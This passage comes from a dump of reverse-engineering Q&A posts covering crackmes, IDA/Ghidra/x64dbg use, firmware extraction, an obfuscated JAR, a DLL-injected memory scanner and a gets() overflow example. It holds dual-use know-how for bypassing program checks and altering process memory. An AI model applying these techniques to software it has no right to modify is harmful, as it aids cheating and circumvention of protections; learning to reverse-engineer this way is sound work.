+0019F4E4 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System
+0019F5C8 76AC6C22 76AD67BC 38       user32.76AD67BC    System
+0019F600 004209FA 76AC6C22 20       user32.76AC6C22    User
+0019F620 00421065 004209FA 20       s3.sub_4209B6+44   User
+0019F640 0041FDB9 00421065 6C       s3.sub_42102A+3B   User
+0019F6AC 004200BE 0041FDB9 1C       s3.sub_41FD36+83   User
+0019F6C8 76AE5CAB 004200BE 2C       s3.sub_4200A4+1A   System
+0019F6F4 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System
+0019F7D8 76AD58FB 76AD67BC 74       user32.76AD67BC    System
+0019F84C 76AD97B1 76AD58FB 30       user32.76AD58FB    System
+0019F87C 76ACEB4E 76AD97B1 2C       user32.76AD97B1    System
+0019F8A8 00422C49 76ACEB4E 7C       user32.76ACEB4E    User
+0019F924 0041E194 00422C49 FFE606E0 s3.sub_422C1F+2A   User
+00000004 00000000 0041E194          s3.sub_41E0DC+B8   User
+
+ +I initially tried to investigate some close User sections near a System section... but they all seem like shared code that is used when other GUI elements in the application have to be displayed. + +So what is the best approach to determine where the if(....) comparison is? + +Note: I am using x64dbg, but the process should not change wrt other debuggers +" +['c++']," Title: Smart approach or Brute force?Body: Background: I'm a beginner reverse engineer and I wanted to try writing my own c++ programs and reverse-engineering them. I wrote something and I'm not sure a smart way of reversing it. Usually, I can think of it as a math formula and just do it in reverse to figure out the algorithm but I can't think of any other way than brute-forcing for this scenario. + +
#include <iostream>
+
+using namespace std;
+
+int main()
+{
+    char key[9];
+    int total = 0;
+
+    cout << ""Enter Key: "";
+
+    cin >> key;
+
+    for (char item : key)
+    {
+        total = total + (int)item;
+    }
+
+    if (total == 895)
+    {
+        puts(""Correct"");
+    }
+    else
+    {
+        puts(""Sorry buddy"");
+    }
+
+    return 0;
+}
+
+ +btw sorry if my c++ isn't very good. I am new to this language haha + +Main Goal: I want to know if there is a smarter way of going about this or is brute force the only way. Thanks! +" +"['java', 'decompile']"," Title: How can I get classes from ""protected"" JAR file?Body: I'm trying to get classes from JAR file / actually running JVM machine but: +When I'm trying to open JAR file using for example 7Zip I dont see any classes. After unzip Manifest file is empty too. +When I'm trying to "dump" classes from running JVM machine, I got "very funny" named - empty classes (not really empty, but contains info like "gtfo" etc..) +JD-Gui showed nothing - just nothing. +Around month ago, when I tried to open it using 7Zip, there was classes with same name, and custom extension. +What should I do, and what tools do You recommend for actions like this? +Link: https://drive.google.com/file/d/1qhfEXu-ITQLW1mi55hMqnHmWt9BM5ur3/view +EDIT: Every decompiler I tested show info like this: +
+mv.visitMethodInsn(INVOKESTATIC, "net/minecraft/client/main/Main", +"\u0000extends throws try goto 8 \n 9 * package * + finally return +static * " float abstract | transient \n synchronized catch = +strictfp transient static extends while final long ! 0 throws & \n % +double 4 this if const \n interface ' ^ ~ do 1 ] % ? throws super +long", "(Ljava/lang/String;)Ljava/lang/String;", false) +
+" +"['ida', 'idapython', 'python', 'ida-plugin']"," Title: Using Python 3.7 and 2.x in same IDABody: I have IDA Pro 7.4 that use with Python 3.7 and I have some IDA-plugin that works only with Python 2.7. + +Is there any way to run that Python 2.7 based plugin? +" +"['ida', 'binary-analysis', 'arm']"," Title: In IDA, cannot find xrefs to string in ARM little-endian bootloader/firmwareBody: In this firmware that is ARM Little endian. + +There is two strings : + +
0x00006953 : Foretrex 701
+0x00006960 : Foretrex 601
+
+ +The issue, is there is no direct Xreft to any of thoses strings ? + +For the firmware, it's pretty much the same. + + + +As IDA cannot find the entry point, to start analyzing the binary (after setting CPU to arm little endian) select all the code (with CTRL+SHIFT+PAGE_DOWN) press C, then ""Analyze"" + + +" +"['c++', 'memory', 'dll', 'process', 'windows-10']"," Title: c++ reading process memory with injected DLLBody: The reading works fine until it reaches base+27.058.176(bytes) address. At this address VirtualProtect() failes with error 487 (Attempt to access invalid address). + +Why does it return this error? Btw the process uses over 300 MB of memory. + +
if (vInTokens.size() == 3 && !vInTokens.at(0).compare(""scan"")) {   // vInTokens holds the command and parameters
+        int valueToScan = std::stoi(vInTokens.at(1));   // param 1
+        Uint offset = std::stoi(vInTokens.at(2));       // param 2
+        hits.clear();   // hits is a global variable of type std::vector. in this vector all addresses with valueToScan should get stored.
+        Uint scans = 0; // tracks the number of integers (4 bytes) read
+        Uint pages = 0; // tracks the number of process pages read
+
+        Uint addr = base;   // base is a global variable that holds the process base address. retrieved with (Uint)GetModuleHandle(NULL)
+        Uint addr_max = base + offset; // 0x7FFFFFFF;
+        MEMORY_BASIC_INFORMATION mbi{};
+
+        while (addr < addr_max) {
+
+            // get page
+            if (VirtualQuery((LPCVOID)addr, &mbi, sizeof(mbi)) == 0) {
+                std::cout << ""Error: VirtualQuery failed with error "" << GetLastError() << std::endl;
+                break;
+            }
+
+            // update page protection (enable read and write)
+            DWORD oldProtect;
+            if(VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect) == 0) {
+                std::cout << ""Error: VirtualProtect(1) failed with error "" << GetLastError() << "" at "" << std::hex << addr << std::endl;
+                break;
+            }
+
+            // read page memory
+            Uint start = addr;
+            Uint end = start + mbi.RegionSize;
+            while (start < end) {
+                int value = *((int*)start);
+                if(value == valueToScan)
+                    hits.push_back(start);
+                scans++;
+                start += 4;
+            }
+
+            // restore old page protection
+            if (VirtualProtect(mbi.BaseAddress, mbi.RegionSize, oldProtect, &oldProtect) == 0) {
+                std::cout << ""Error: VirtualProtect(2) failed with error "" << "" with code "" << GetLastError() << "" at "" << std::hex << addr << std::endl;
+                break;
+            }
+
+            // set values for next page
+            pages++;
+            addr += mbi.RegionSize;
+            mbi = {};
+        }
+
+        std::cout << ""Scanned "" << std::dec << scans << std::endl;
+        std::cout << ""Pages   "" << std::dec << pages << std::endl;
+        std::cout << ""Found   "" << std::dec << hits.size() << std::endl;
+    }
+
+" +['x64dbg']," Title: How to ret with jxx in x64dbg's sciprtBody:
main:
+    call foo
+    call bar
+    ret
+
+foo:
+    // code
+
+    cmp $number, 0
+    je ret
+
+    // code
+    ret
+
+bar:
+    // code
+
+    cmp $number, 0
+    je ret
+
+    // code
+    ret
+
+ +I would like to write a script like above. I looked it up, but I don't think there's a proper way. + +So I have to jump between labels instead of calling. + +
main:
+    jmp foo
+
+foo:
+    // code
+
+    cmp $number, 0
+    je bar
+
+    // code
+
+    jmp bar
+
+bar:
+    // code
+
+    cmp $number, 0
+    je ret
+
+    // code
+    ret
+
+ +Is there good way to return when some flag is triggered? +" +"['byte-code', 'actionscript', 'swf']"," Title: SWF ActionScript byte-code method info does not match AVM2 specificationBody: I have a bunch of SWF files that represent UI in the game. Most of them contain DoABC tag, however the tag type is 300 instead of 82. + +Putting this trouble aside, I started parsing the tag according to the official AVM2 overview, and found multiple other issues with the structure: + +
    +
  1. For most of the methods flag value contains flags 0x01 and 0x04 (NEED_ARGUMENTS and NEED_REST) which according to the doc must not be used together.
  2. +
  3. For some reason the option_info.option_count is always greater than param_count.
  4. +
  5. If I was to ignore point 2 and parse params anyway - param type in most cases is incorrect (page 26)
  6. +
+ +Here is the sample byte-code. 0x2F means method count. While parsed according to the doc, at 0x12 you can see that there are 5 params, and 0x1b tells us that 7 of them are optional, which is totally nonsense because + +
+ [...] The number of optional parameters is given by option_count, which must not be zero nor greater than the parameter_count [...] +
+ + + +My guesses are that the 300 tag indicates custom tag so custom parsing rules could apply and for other points I would say that the order of fields changed and the flag, as well as param count and optionals info, is at different offset. But how can I be sure that the certain way of parsing is the correct one? I am unfamiliar with ActionScript and have no idea if method name, param name or param type make any sense. + +If we take the example above, parsing it according to the doc would result in the first method (address 0x01) named flash.events (0x03) has 0 params (0x01) with the return type fl.transitions.easing.Back (0x02) and flag 0x05 (0x04) +" +"['firmware-analysis', 'binwalk']"," Title: Windows binwalk refuses to extract filesBody: I'm trying to reverse engineer the firmware for an AutoDrive AD-520 dashcam. The firmware is available for download here. I've installed binwalk on windows, I can get it to read the file just fine, here's a screenie of a regular binwalk SD_CarDV.bin + + + +However, if I try pretty much anything else it doesn't work. I can't do -E, it just sits there for a minute then reads out the file contents like --signature, but doesn't do anything else, and trying to save the -E to a png I get an error saying ""failed to import matplotlib module"". When I try -e, I get a readout just like with --signature, but no actual files are created in the working directory. If I use -e -C=./tmp I get the normal readout, a tmp folder is created, but no files. I've tried --dd="".*"", as well as --log=binwalk.log, literally copied from the github manual, and I get this error (same error with -dd and --log) + + + +I can't seem to get this thing to work. I'm wondering if it's me, windows, the firmware file itself...I can't figure it out. Can anyone help me? +" +"['assembly', 'decompilation', 'elf', 'ghidra', 'decompile']"," Title: ""check:"" keyword in GhidraBody: I have disassembled the crackme0x06 challenge (http://security.cs.rpi.edu/courses/binexp-spring2015 inside challenges.zip). It's an ELF 32bit unstripped binary. The decompiled C code using Ghidra looks like : + +
undefined4 main(undefined4 param_1,undefined4 param_2,undefined4 param_3)
+{
+  undefined local_7c [120];
+
+  printf(""IOLI Crackme Level 0x06\n"");
+  printf(""Password: "");
+  scanf(""%s"",local_7c);
+  check(local_7c,param_3);
+  return 0;
+}
+
+ +Intel x86 looks like : + +
                             **************************************************************
+                             *                          FUNCTION                          *
+                             **************************************************************
+                             undefined main(undefined param_1, undefined param_2, und
+             undefined         AL:1           <RETURN>
+             undefined         Stack[0x4]:1   param_1
+             undefined         Stack[0x8]:1   param_2
+             undefined4        Stack[0xc]:4   param_3                                 XREF[1]:     08048651(R)  
+             undefined[120]    Stack[-0x7c]   local_7c                                XREF[2]:     0804863e(*), 
+                                                                                                   08048658(*)  
+             undefined4        Stack[-0x9c]:4 local_9c                                XREF[2]:     08048641(W), 
+                                                                                                   08048654(W)  
+             undefined4        Stack[-0xa0]:4 local_a0                                XREF[4]:     08048626(*), 
+                                                                                                   08048632(*), 
+                                                                                                   08048645(*), 
+                                                                                                   0804865b(*)  
+                             main                                            XREF[2]:     Entry Point(*), 
+                                                                                          _start:08048417(*)  
+        08048607 55              PUSH       EBP
+        08048608 89 e5           MOV        EBP,ESP
+        0804860a 81 ec 88        SUB        ESP,0x88
+                 00 00 00
+        08048610 83 e4 f0        AND        ESP,0xfffffff0
+        08048613 b8 00 00        MOV        EAX,0x0
+                 00 00
+        08048618 83 c0 0f        ADD        EAX,0xf
+        0804861b 83 c0 0f        ADD        EAX,0xf
+        0804861e c1 e8 04        SHR        EAX,0x4
+        08048621 c1 e0 04        SHL        EAX,0x4
+        08048624 29 c4           SUB        ESP,EAX
+        08048626 c7 04 24        MOV        dword ptr [ESP]=>local_a0,s_IOLI_Crackme_Level   = ""IOLI Crackme Level 0x06\n""
+                 63 87 04 08
+        0804862d e8 86 fd        CALL       printf                                           int printf(char * __format, ...)
+                 ff ff
+        08048632 c7 04 24        MOV        dword ptr [ESP]=>local_a0,s_Password:_0804877c   = ""Password: ""
+                 7c 87 04 08
+        08048639 e8 7a fd        CALL       printf                                           int printf(char * __format, ...)
+                 ff ff
+        0804863e 8d 45 88        LEA        EAX=>local_7c,[EBP + -0x78]
+        08048641 89 44 24 04     MOV        dword ptr [ESP + local_9c],EAX
+        08048645 c7 04 24        MOV        dword ptr [ESP]=>local_a0,DAT_08048787           = 25h    %
+                 87 87 04 08
+        0804864c e8 47 fd        CALL       scanf                                            int scanf(char * __format, ...)
+                 ff ff
+        08048651 8b 45 10        MOV        EAX,dword ptr [EBP + param_3]
+        08048654 89 44 24 04     MOV        dword ptr [ESP + local_9c],EAX
+        08048658 8d 45 88        LEA        EAX=>local_7c,[EBP + -0x78]
+        0804865b 89 04 24        MOV        dword ptr [ESP]=>local_a0,EAX
+        0804865e e8 25 ff        CALL       check                                            undefined check(undefined4 param
+                 ff ff
+        08048663 b8 00 00        MOV        EAX,0x0
+                 00 00
+        08048668 c9              LEAVE
+        08048669 c3              RET
+
+ +My Question is what is ""check"" keyword? I have run ltrace and strace on the binary, so I know its neither some library function nor system-call. What is it then? +" +['file-format']," Title: Decoding unknown logfile formatBody: I have logfiles in the following format without any documentation: + +
to 12.03.2020 08:04:15 < '7""\05\04\02\16\F6\C6\D6""'#0D
+to 12.03.2020 08:04:15 > '7S""\05\04\00\02\00\01\91\8E""'#0D
+to 12.03.2020 08:04:15 < '7""\05\04\02 \22\D1)""'#0D
+to 12.03.2020 08:04:15 > '7S""\05\04\00\05\00\01\20\4F""'#0D
+to 12.03.2020 08:04:16 < '7""\05\04\02\19e\83K""'#0D
+to 12.03.2020 08:04:16 > '7S""\05\04\00\07\00\01\81\8F""'#0D
+to 12.03.2020 08:04:16 < '7""\05\04\02\00z\C9\13""'#0D
+to 12.03.2020 08:04:16 > '7S""\01\03\00\00\00\05\85\C9""'#0D
+to 12.03.2020 08:04:16 < '7""\01\03\0A\00\00\05\DC\00""'#0D
+to 12.03.2020 08:04:16 < '7""\02\00\00\00\01AD""'#0D
+to 12.03.2020 08:04:16 > '7S""\01\01\00\00\00\10\3D\C6""'#0D
+to 12.03.2020 08:04:16 < '7""\01\01\02\00\03\F9\FD""'#0D
+to 12.03.2020 08:04:16 > '7S""\05\04\00\00\00\01\30\4E""'#0D
+to 12.03.2020 08:04:16 < '7""\05\04\02\17\03\07\01""'#0D
+to 12.03.2020 08:04:16 > '7S""\05\04\00\01\00\01\61\8E""'#0D
+to 12.03.2020 08:04:16 < '7""\05\04\02\16\F6\C6\D6""'#0D
+to 12.03.2020 08:04:16 > '7S""\05\04\00\02\00\01\91\8E""'#0D
+
+ +This snippet from a log file probably represents the current state and operations of our manufacturing machine. Is there something meaningful in the codes to the right of the time stamp? + +Some observations: + + +" +"['ollydbg', 'plugin', 'ollyscript']"," Title: Ollydbg Plugin DevelopmentBody: I wanted to write a simple Ollydbg plugin that shows me, for example, a simple message like hello world. in further, I wanted to learn how can I write a complex plugin to hook a function and to modify its parameters and so on. Is there any manual for that job? +" +['firmware']," Title: Problem rebuilding firmwareBody: I'm new to reverse engineering. + +I only want to add an app to my sat receiver. + +To start I tried to extract my firmware with ./extract-firmware, it's ok, and I have 1 ecos RTOS, and two cramfs in fmk/ + +BUT when I rebuild without any change, I have a message + +
Building new cramfs file system... (this may take several minutes!)
+Directory data: 464 bytes
+Everything: 1392 kilobytes
+Super block: 76 bytes
+CRC: b79c2a52
+Remaining free bytes in firmware image: 856064
+Processing 0 header(s) from /home/thehou/firmware-mod-kit/fmk/new-firmware.bin...
+CRC update failed.
+
+Firmware header not supported; firmware checksums may be incorrect.
+New firmware image has been saved to: /home/thehou/firmware-mod-kit/fmk/new-firmware.bin`
+
+ +So before I continue to add an app into my sat receiver, I want to know how can I rebuild my extracted firmware. + +Perhaps must I extract with binwalk, but I don't know how to rebuild! + +Thanks for your help. + +Reference : this is the receiver firmware +" +"['debugging', 'linux', 'c', 'gdb']"," Title: How can I debug open source C code for Linux?Body: I want to debug & reverse engineer open source code such as this project. I usually use CLion to write and debug C code on Linux. I've also used GDB. What steps do I need to take to download a library like this example, and be able to get source-code-level debugging working? I've tried for example cloning that repo and opening it in CLion, but it seems that the build system that is used is not fully understood by CLion. If I do a make && make install, the project gets built and I have the binaries, but then I cannot get source-level debugging if I say, open the binary with gdb. Are there any techniques to get into an open source repo and get the code building in an IDE or debugging system? +" +"['ida', 'address']"," Title: How to find the new address of a function on a new version of the same assembly with IDA?Body: Well, I have the old version of an assembly with a mapped address to a function I need to detour. + +The developer has stopped the reverse engineering to that assembly, so now, I want to do his job. But Idk where to start. I'm very newbie on this bussiness. + +I have downloaded IDA, and I have subroutine calls on the assembly language. but I don't know how to continue. + +I already have checked for the hexadecimal but this trick didn't worked on the new version. + +So, what tricks do you suggest? +" +"['ida', 'idapython', 'idapro-sdk', 'ida-plugin']"," Title: Names not populating from disassembly to decompilerBody: I am writing a script in IDA Pro. I noticed that when I rename functions with ""n"" in the disassembly view, that same function is not being renamed in the decompilation. + +I have never noticed this before. Is this normal operating behavior? If so, how can you automatically transfer the names from the disassembly view to the decompilation view? + +(I have notice this also happens when I rename functions with a script). +" +"['disassembly', 'obfuscation', 'java', 'deobfuscation', 'decompile']"," Title: Reverse Engineering Java - Deobfuscating symbolsBody: I'm new to Java and working on cleaning up a fairly large Java .jar sample where the obfuscator has renamed symbols into invalid names. For example: + +
import org.lib.00.0.2;
+
+public final class 90
+extends 2 {
+    public 90() {
+        90 iiIIiiiiiIiIi;
+        90 v0 = iiIIiiiiiIiIi;
+    ...
+}
+
+ +Using Recaf I am renaming these symbols that are using numbers but after doing so Recaf isn't able to find the renamed classes/packages and subsequent compiles with my code changes fail. + +Are there any tools that will automate restoring the symbols to legal names? If not, how can I rename things in a way that won't break package/class paths? + +Additionally, I'm considering if I should be using the decompiler at all and maybe just altering the ASM/instructions. I'm pretty comfortable with regular assembly and it seems this might dodge some of the obfuscation measures? + +Thanks. +" +"['ida', 'disassembly', 'debugging', 'binary-analysis', 'program-analysis']"," Title: Jump without jmp nearBody: I need to jump a + +
Hello,
+
+ +I need to jump some lines that lock program in a loop status. +i use process hacker to find lines with string in binary but when i find this lines i have not jumps near, in fact i can't find CALL send me to this lines. + +this is a part of code: + +
00AD06C8                         | 70 01                      | jo AD06CB                                       |
+00AD06CA                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD06CC                         | 04 00                      | add al,0                                        |
+00AD06CE                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD06D0                         | 2300                       | and eax,dword ptr ds:[eax]                      |
+00AD06D2                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD06D4                         | 0D 00000000                | or eax,0                                        |
+00AD06D9                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD06DB                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD06DD                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD06DF                         | 0090 01000000              | add byte ptr ds:[eax+1],dl                      |
+00AD06E5                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD06E7                         | 0003                       | add byte ptr ds:[ebx],al                        |
+00AD06E8                         | 0302                       | add eax,dword ptr ds:[edx]                      |
+00AD06EA                         | 0122                       | add dword ptr ds:[edx],esp                      |
+00AD06EC                         | 42                         | inc edx                                         |
+00AD06ED                         | 0065 00                    | add byte ptr ss:[ebp],ah                        |
+00AD06F0                         | 72 00                      | jb AD06F2                                       |
+00AD06F2                         | 6C                         | insb                                            |
+00AD06F3                         | 0069 00                    | add byte ptr ds:[ecx],ch                        |
+00AD06F6                         | 6E                         | outsb                                           |
+00AD06F7                         | 0020                       | add byte ptr ds:[eax],ah                        |
+00AD06F9                         | 0053 00                    | add byte ptr ds:[ebx],dl                        |
+00AD06FC                         | 61                         | popad                                           |
+00AD06FD                         | 006E 00                    | add byte ptr ds:[esi],ch                        |
+00AD0700                         | 73 00                      | jae AD0702                                      |
+00AD0702                         | 2000                       | and byte ptr ds:[eax],al                        |
+00AD0704                         | 46                         | inc esi                                         |
+00AD0705                         | 0042 00                    | add byte ptr ds:[edx],al                        |
+00AD0708                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD070A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD070C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD070E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0710                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0712                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0714                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0716                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0718                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD071A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD071C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD071E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0720                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0722                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0724                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0726                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0728                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD072A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD072C                         | 42                         | inc edx                                         |
+00AD072D                         | 0065 00                    | add byte ptr ss:[ebp],ah                        |
+00AD0730                         | 72 00                      | jb AD0732                                       |
+00AD0732                         | 6C                         | insb                                            |
+00AD0733                         | 0069 00                    | add byte ptr ds:[ecx],ch                        |
+00AD0736                         | 6E                         | outsb                                           |
+00AD0737                         | 0020                       | add byte ptr ds:[eax],ah                        |
+00AD0739                         | 0053 00                    | add byte ptr ds:[ebx],dl                        |
+00AD073C                         | 61                         | popad                                           |
+00AD073D                         | 006E 00                    | add byte ptr ds:[esi],ch                        |
+00AD0740                         | 73 00                      | jae AD0742                                      |
+00AD0742                         | 2000                       | and byte ptr ds:[eax],al                        |
+00AD0744                         | 46                         | inc esi                                         |
+00AD0745                         | 0042 00                    | add byte ptr ds:[edx],al                        |
+00AD0748                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD074A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD074C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD074E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0750                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0752                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0754                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0756                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0758                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD075A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD075C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD075E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0760                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0762                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0764                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0766                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0768                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD076A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD076C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD076E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0770                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0772                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0774                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0776                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0778                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD077A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD077C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD077E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0780                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0782                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0784                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0786                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0788                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD078A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD078C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD078E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0790                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0792                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0794                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0796                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD0798                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD079A                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD079C                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD079E                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD07A0                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD07A2                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD07A4                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD07A6                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD07A8                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD07AA                         | 0000                       | add byte ptr ds:[eax],al                        |
+00AD07AC                         | 4E                         | dec esi                                         |
+00AD07AD                         | 006F 00                    | add byte ptr ds:[edi],ch                        |
+00AD07B0                         | 72 00                      | jb AD07B2                                       |
+00AD07B2                         | 6D                         | insd                                            |
+
+ +00AD06CC is the line that process hacker show problem. + +as you can see error appears in different lines. + +" +"['ida', 'hexrays']"," Title: Hex Rays Mapping To Wrong VariableBody: The assembly file has multiple variables which both use the rax register. The decompiler did recognize that at least somewhat, since it did create two variables which use the rax register. However, it did not split up the use of each one properly. Here is the assembly and decompilation, along with a couple comments on what would be a more accurate decompilation. + +
.text:000000014052DDA0 String__moveTextBackwards proc near
+.text:000000014052DDA0                                         ; CODE XREF: sub_14003E380+86↑p
+.text:000000014052DDA0                                         ; sub_1403CC850+19D2↑p ...
+.text:000000014052DDA0                 mov     rax, [rcx+18h]
+.text:000000014052DDA4                 movsxd  r10, r8d
+.text:000000014052DDA7                 mov     r9, rcx
+.text:000000014052DDAA                 lea     r8, [r10+rdx]
+.text:000000014052DDAE                 cmp     r8, rax
+.text:000000014052DDB1                 jnz     short loc_14052DDBA
+.text:000000014052DDB3                 mov     rax, [rcx]
+.text:000000014052DDB6                 jmp     qword ptr [rax+20h]
+.text:000000014052DDBA ; ---------------------------------------------------------------------------
+.text:000000014052DDBA
+.text:000000014052DDBA loc_14052DDBA:                          ; CODE XREF: String__moveTextBackwards+11↑j
+.text:000000014052DDBA                 ja      short loc_14052DDDF
+.text:000000014052DDBC                 mov     rdx, r10
+.text:000000014052DDBF                 neg     rdx
+.text:000000014052DDC2
+.text:000000014052DDC2 loc_14052DDC2:                          ; CODE XREF: String__moveTextBackwards+3D↓j
+.text:000000014052DDC2                 mov     rax, [r9+8]
+.text:000000014052DDC6                 inc     r8
+.text:000000014052DDC9                 lea     rcx, [rax+rdx*2]
+.text:000000014052DDCD                 movzx   eax, word ptr [rax+r8*2-2]
+.text:000000014052DDD3                 mov     [rcx+r8*2-2], ax
+.text:000000014052DDD9                 cmp     r8, [r9+18h]
+.text:000000014052DDDD                 jbe     short loc_14052DDC2
+.text:000000014052DDDF
+.text:000000014052DDDF loc_14052DDDF:                          ; CODE XREF: String__moveTextBackwards:loc_14052DDBA↑j
+.text:000000014052DDDF                 sub     [r9+18h], r10
+.text:000000014052DDE3                 retn
+.text:000000014052DDE3 String__moveTextBackwards endp
+
+ +This gets decompiled to + +
{
+  wchar_t *stringLength; // rax
+  __int64 numBytesCopy; // r10
+  String *thisCopy; // r9
+  unsigned __int64 v6; // r8
+  wchar_t *pText; // rax
+  wchar_t *pMovedText; // rcx
+
+  stringLength = (wchar_t *)this->stringLength; // This should really be an __int64, but since the compiler assumed this was the same variable that gets returned, it is forced to a wchar_t*
+  numBytesCopy = numBytes;
+  thisCopy = this;
+  v6 = numBytes + a2;
+  if ( (wchar_t *)v6 == stringLength )
+    return (wchar_t *)((__int64 (__fastcall *)(String *, __int64, unsigned __int64, String *))this->vftbl_0_0000000140B4F448->sub_14052DB70)(
+                        this,
+                        a2,
+                        v6,
+                        this);
+  if ( v6 <= (unsigned __int64)stringLength )
+  {
+    do
+    {
+      pText = thisCopy->pString;
+      ++v6;
+      pMovedText = &pText[-numBytesCopy];
+      stringLength = (wchar_t *)pText[v6 - 1];  // From here until the end, the instances where stringLength is used would better be described as pText. But since both pText and stringLength use rax, it decided to use the wrong one here.
+      pMovedText[v6 - 1] = (unsigned __int16)stringLength;
+    }
+    while ( v6 <= thisCopy->stringLength );
+  }
+  thisCopy->stringLength -= numBytesCopy;
+  return stringLength;
+}
+
+ +Is there a way to change which variable Hex Rays uses in the instances where it chose to use the wrong variable? It has made mistakes similar to this one in other parts of this string class, too. +" +"['radare2', 'functions']"," Title: text_mn in Radare2 --> Meaning?Body: I compiled some source code and extracted functions with Radare2 (afj). + +Often I get a function with ""sym..text_mn"" function name/ symbol. + +The other functions are named correctly. What does this symbol mean/ stand for? +" +"['gdb', 'python']"," Title: GDB - Send Python output to the program after SIGINTBody: I am trying to learn GDB to better understand buffer overflows but I can't find an answer to my problem which is how can I send a Python-generated output to the program when the program asks for user input (the gets function in my code below). I can type CTRL+C to send SIGINT but I have not found any way to send the output back to the program. + +Sample program (disregard the buffer overflow): + +
#include 
+int main(int argc, char **argv)
+{
+char buf[8];
+gets(buf);
+printf(""%s\n"", buf);
+return 0;
+}
+
+ +Sample Python script I want to do: + +
+python -c ""print 'A' * 10""
+
+ +The Python output I want the gets function to read: + +
+AAAAAAAAAA
+
+" +"['c', 'ghidra', 'functions']"," Title: Ghidra error when edit main signature functionBody: I'm new to ghidra. +I download the easy_reverse from crackme.one and open the executable file in ghidra. + +When I'm trying to edit the main function signature I get an error: Can't parse name: argv[]. +I searched for this error but found nothing on Google/GitHub and I run out of ideas what to do next to solve it. I would appreciate any help! + +Here is a screenshot (I use mac): + +" +"['binary-analysis', 'firmware', 'radare2', 'ghidra']"," Title: Way to get all the function prototype using GhidraBody: I have been trying to extract the function prototypes from a binary file using Ghidra. Up till now what I have done was to use Ghidra's included ""Decompile"" script and filtered out the function prototypes through the produced text file using python. However, this approach seems to be cumbersome and sometimes it fails to produce the intended results when the compiler options are changed. I feel that there may be a quicker way to get these. Given a binary, my requirement is to get all the function prototypes such as float strtof_l(char *__nptr,char **__endptr,__locale_t __loc) without the function bodies. Is there any existing script to do this? Or is there a method in the API that I could loop upon. Thank you very much. +" +['windows']," Title: CreateToolhelp32Snapshot() access denied (while running as admin or even NT AUTHORITY\SYSTEM)Body: I've come across a troublesome process which refuses to allow CreateToolhelp32Snapshot(). + +I also noticed that in 